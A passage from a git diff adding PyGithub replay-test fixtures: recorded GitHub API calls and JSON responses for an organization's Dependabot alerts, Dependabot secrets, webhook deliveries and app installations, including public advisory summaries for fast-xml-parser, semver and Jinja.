com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":2,"state":"open","dependency":{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"manifest_path":"package-lock.json","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-gpv5-7x3g-ghjv","cve_id":null,"summary":"fast-xml-parser regex vulnerability patch could be improved from a safety perspective","description":"### Summary\nThis is a comment on https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-6w63-h3fj-q4vw and the patches fixing it.\n\n### Details\nThe code which validates a name calls the validator:\nhttps://github.com/NaturalIntelligence/fast-xml-parser/blob/ecf6016f9b48aec1a921e673158be0773d07283e/src/xmlparser/DocTypeReader.js#L145-L153\nThis checks for the presence of an invalid character. Such an approach is always risky, as it is so easy to forget to include an invalid character in the list. A safer approach is to validate entity names against the XML specification: https://www.w3.org/TR/xml11/#sec-common-syn - an ENTITY name is a Name:\n\n```\n[4] NameStartChar ::= \":\" | [A-Z] | \"_\" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] | [#x370-#x37D] |\n [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] | [#x2C00-#x2FEF] | [#x3001-#xD7FF] |\n [#xF900-#xFDCF] | [#xFDF0-#xFFFD] | [#x10000-#xEFFFF]\n[4a] NameChar ::= NameStartChar | \"-\" | \".\" | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]\n[5] Name ::= NameStartChar (NameChar)*\n```\n\nso the safest way to validate an entity name is to build a regex to represent this expression and check whether the name given matches the regex. (Something along the lines of `/^[name start char class][name char class]*$/`.) There's probably a nice way to simplify the explicit list rather than typing it out verbatim using Unicode character properties, but I don't know enough to do so.","severity":"low","identifiers":[{"value":"GHSA-gpv5-7x3g-ghjv","type":"GHSA"}],"references":[{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-6w63-h3fj-q4vw"},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-gpv5-7x3g-ghjv"},{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/9a880b887916855c3a510869fd1ee268d7fe58b1"},{"url":"https://github.com/advisories/GHSA-gpv5-7x3g-ghjv"}],"published_at":"2023-06-15T19:05:13Z","updated_at":"2023-11-29T00:28:48Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"severity":"low","vulnerable_version_range":"= 4.2.4","first_patched_version":{"identifier":"4.2.5"}}],"cvss":{"vector_string":null,"score":0.0},"cwes":[]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"fast-xml-parser"},"severity":"low","vulnerable_version_range":"= 4.2.4","first_patched_version":{"identifier":"4.2.5"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/2","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/2","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}},{"number":1,"state":"auto_dismissed","dependency":{"package":{"ecosystem":"npm","name":"semver"},"manifest_path":"default-assets-package/package-lock.json","scope":"development"},"security_advisory":{"ghsa_id":"GHSA-c2qf-rxjj-qqgw","cve_id":"CVE-2022-25883","summary":"semver vulnerable to Regular Expression Denial of Service","description":"Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.","severity":"medium","identifiers":[{"value":"GHSA-c2qf-rxjj-qqgw","type":"GHSA"},{"value":"CVE-2022-25883","type":"CVE"}],"references":[{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-25883"},{"url":"https://github.com/npm/node-semver/pull/564"},{"url":"https://github.com/npm/node-semver/commit/717534ee353682f3bcf33e60a8af4292626d4441"},{"url":"https://security.snyk.io/vuln/SNYK-JS-SEMVER-3247795"},{"url":"https://github.com/npm/node-semver/blob/main/classes/range.js#L97-L104"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L138"},{"url":"https://github.com/npm/node-semver/blob/main/internal/re.js#L160"},{"url":"https://github.com/npm/node-semver/pull/585"},{"url":"https://github.com/npm/node-semver/commit/928e56d21150da0413a3333a3148b20e741a920c"},{"url":"https://github.com/npm/node-semver/pull/593"},{"url":"https://github.com/npm/node-semver/commit/2f8fd41487acf380194579ecb6f8b1bbfe116be0"},{"url":"https://github.com/advisories/GHSA-c2qf-rxjj-qqgw"}],"published_at":"2023-06-21T06:30:28Z","updated_at":"2024-01-08T20:36:49Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 7.0.0, < 7.5.2","first_patched_version":{"identifier":"7.5.2"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":">= 6.0.0, < 6.3.1","first_patched_version":{"identifier":"6.3.1"}},{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","score":5.3},"cwes":[{"cwe_id":"CWE-1333","name":"Inefficient Regular Expression Complexity"}]},"security_vulnerability":{"package":{"ecosystem":"npm","name":"semver"},"severity":"medium","vulnerable_version_range":"< 5.7.2","first_patched_version":{"identifier":"5.7.2"}},"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/opensource-management-portal/security/dependabot/1","created_at":"2024-01-21T01:29:52Z","updated_at":"2024-01-21T01:29:52Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":"2024-01-21T01:29:52Z","repository":{"id":682315953,"node_id":"R_kgDOKKtQsQ","name":"opensource-management-portal","full_name":"BeaverSoftware/opensource-management-portal","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/opensource-management-portal","description":"Microsoft's monolithic, opinionated Open Source Management Portal enabling enterprise scale self-service powered by the GitHub API 🏔🧑‍💻🧰","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal","forks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/opensource-management-portal/deployments"}}] diff --git a/tests/ReplayData/Organization.testGetDependabotAlertsWithAllArguments.txt b/tests/ReplayData/Organization.testGetDependabotAlertsWithAllArguments.txt new file mode 100644 index 0000000000..cb35058023 --- /dev/null +++ b/tests/ReplayData/Organization.testGetDependabotAlertsWithAllArguments.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/dependabot/alerts?state=open&severity=medium&ecosystem=pip&package=jinja2&scope=runtime&sort=updated&direction=asc +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sun, 21 Jan 2024 03:09:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"59496dc4695fd05bf1e3a94ee96f88cfc0032564f7f90082100f695ded81481c"'), ('Last-Modified', 'Sun, 21 Jan 2024 01:41:18 GMT'), ('X-OAuth-Scopes', 'admin:repo_hook, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo, security_events'), ('github-authentication-token-expiration', '2024-04-19 16:30:08 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1705809202'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '98DA:104B:433D86:8E6CA0:65AC8B02')] +[{"number":1,"state":"open","dependency":{"package":{"ecosystem":"pip","name":"jinja2"},"manifest_path":"requirements/docs.txt","scope":"runtime"},"security_advisory":{"ghsa_id":"GHSA-h5c8-rqwp-cp95","cve_id":"CVE-2024-22195","summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","description":"The `xmlattr` filter in affected versions of Jinja accepts keys containing spaces. XML/HTML attributes cannot contain spaces, as each would then be interpreted as a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. Note that accepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.","severity":"medium","identifiers":[{"value":"GHSA-h5c8-rqwp-cp95","type":"GHSA"},{"value":"CVE-2024-22195","type":"CVE"}],"references":[{"url":"https://github.com/pallets/jinja/security/advisories/GHSA-h5c8-rqwp-cp95"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22195"},{"url":"https://github.com/pallets/jinja/commit/716795349a41d4983a9a4771f7d883c96ea17be7"},{"url":"https://github.com/pallets/jinja/releases/tag/3.1.3"},{"url":"https://github.com/advisories/GHSA-h5c8-rqwp-cp95"}],"published_at":"2024-01-11T15:20:48Z","updated_at":"2024-01-11T15:20:50Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","score":5.4},"cwes":[{"cwe_id":"CWE-79","name":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"}]},"security_vulnerability":{"package":{"ecosystem":"pip","name":"jinja2"},"severity":"medium","vulnerable_version_range":"< 3.1.3","first_patched_version":{"identifier":"3.1.3"}},"url":"https://api.github.com/repos/BeaverSoftware/PyGithub/dependabot/alerts/1","html_url":"https://github.com/BeaverSoftware/PyGithub/security/dependabot/1","created_at":"2024-01-21T01:41:18Z","updated_at":"2024-01-21T01:41:18Z","dismissed_at":null,"dismissed_by":null,"dismissed_reason":null,"dismissed_comment":null,"fixed_at":null,"auto_dismissed_at":null,"repository":{"id":746080753,"node_id":"R_kgDOLHhJ8Q","name":"PyGithub","full_name":"BeaverSoftware/PyGithub","private":false,"owner":{"login":"BeaverSoftware","id":138729970,"node_id":"O_kgDOCETZ8g","avatar_url":"https://avatars.githubusercontent.com/u/138729970?v=4","gravatar_id":"","url":"https://api.github.com/users/BeaverSoftware","html_url":"https://github.com/BeaverSoftware","followers_url":"https://api.github.com/users/BeaverSoftware/followers","following_url":"https://api.github.com/users/BeaverSoftware/following{/other_user}","gists_url":"https://api.github.com/users/BeaverSoftware/gists{/gist_id}","starred_url":"https://api.github.com/users/BeaverSoftware/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/BeaverSoftware/subscriptions","organizations_url":"https://api.github.com/users/BeaverSoftware/orgs","repos_url":"https://api.github.com/users/BeaverSoftware/repos","events_url":"https://api.github.com/users/BeaverSoftware/events{/privacy}","received_events_url":"https://api.github.com/users/BeaverSoftware/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/BeaverSoftware/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/BeaverSoftware/PyGithub","forks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/forks","keys_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/teams","hooks_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/events","assignees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/tags","blobs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/languages","stargazers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/subscription","commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/merges","archive_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/downloads","issues_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/BeaverSoftware/PyGithub/deployments"}}] diff --git a/tests/ReplayData/Organization.testGetDependabotSecrets.txt b/tests/ReplayData/Organization.testGetDependabotSecrets.txt new file mode 100644 index 0000000000..84cf5c4598 --- /dev/null +++ b/tests/ReplayData/Organization.testGetDependabotSecrets.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/dependabot/secrets +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"total_count": 1, "secrets": [{"name": "secret-name","created_at": "2019-08-10T14:59:22Z","updated_at": "2020-01-10T14:59:22Z","visibility": "selected","selected_repositories_url": "https://api.github.com/orgs/BeaverSoftware/dependabot/secrets/secret-name/repositories"}]} diff --git a/tests/ReplayData/Organization.testGetEvents.txt b/tests/ReplayData/Organization.testGetEvents.txt index 7cb41076ee..d7917d3716 100644 --- a/tests/ReplayData/Organization.testGetEvents.txt +++ b/tests/ReplayData/Organization.testGetEvents.txt @@ -19,4 +19,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '2'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="prev"'), ('etag', '"d751713988987e9331980363e24189ce"'), ('date', 'Sun, 27 May 2012 05:13:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [] - diff --git a/tests/ReplayData/Organization.testGetHookDeliveries.txt b/tests/ReplayData/Organization.testGetHookDeliveries.txt new file mode 100644 index 0000000000..bdc53e639a --- /dev/null +++ b/tests/ReplayData/Organization.testGetHookDeliveries.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/hooks/257993/deliveries +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +[{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com"}] diff --git a/tests/ReplayData/Organization.testGetHookDelivery.txt b/tests/ReplayData/Organization.testGetHookDelivery.txt new file mode 100644 index 0000000000..53fb26d9c8 --- /dev/null +++ b/tests/ReplayData/Organization.testGetHookDelivery.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/orgs/BeaverSoftware/hooks/257993/deliveries/12345 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] +{"id":12345,"guid":"abcde-12345","delivered_at":"2012-05-27T06:00:32Z","redelivery":false,"duration":0.27,"status":"OK","status_code":200,"event":"issues","action":"opened","installation_id":123,"repository_id":456,"url":"https://www.example-webhook.com","request":{"headers":{"content-type": "application/json"},"payload":{"action": "opened"}},"response":{"headers":{"content-type": "text/html;charset=utf-8"},"payload":"ok"}} diff --git a/tests/ReplayData/Organization.testGetInstallations.txt b/tests/ReplayData/Organization.testGetInstallations.txt index 66a769eedb..2142fe77ec 100644 --- a/tests/ReplayData/Organization.testGetInstallations.txt +++ b/tests/ReplayData/Organization.testGetInstallations.txt @@ -7,4 +7,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '295'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"07e5e1a2fafd1a5e2de62eb3afd007d5"'), ('date', 'Sun, 27 May 2012 07:02:25 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"total_count":1,"installations":[{"id":123456,"account":{"login":"rigaspapas","id":12345,"node_id":"MDQ6VXNlcjE3NzM2NTI=","avatar_url":"https://avatars1.githubusercontent.com/u/12345?v=4","gravatar_id":"","url":"https://api.github.com/users/rigaspapas","html_url":"https://github.com/rigaspapas","followers_url":"https://api.github.com/users/rigaspapas/followers","following_url":"https://api.github.com/users/rigaspapas/following{/other_user}","gists_url":"https://api.github.com/users/rigaspapas/gists{/gist_id}","starred_url":"https://api.github.com/users/rigaspapas/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rigaspapas/subscriptions","organizations_url":"https://api.github.com/users/rigaspapas/orgs","repos_url":"https://api.github.com/users/rigaspapas/repos","events_url":"https://api.github.com/users/rigaspapas/events{/privacy}","received_events_url":"https://api.github.com/users/rigaspapas/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/installations/242638/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_u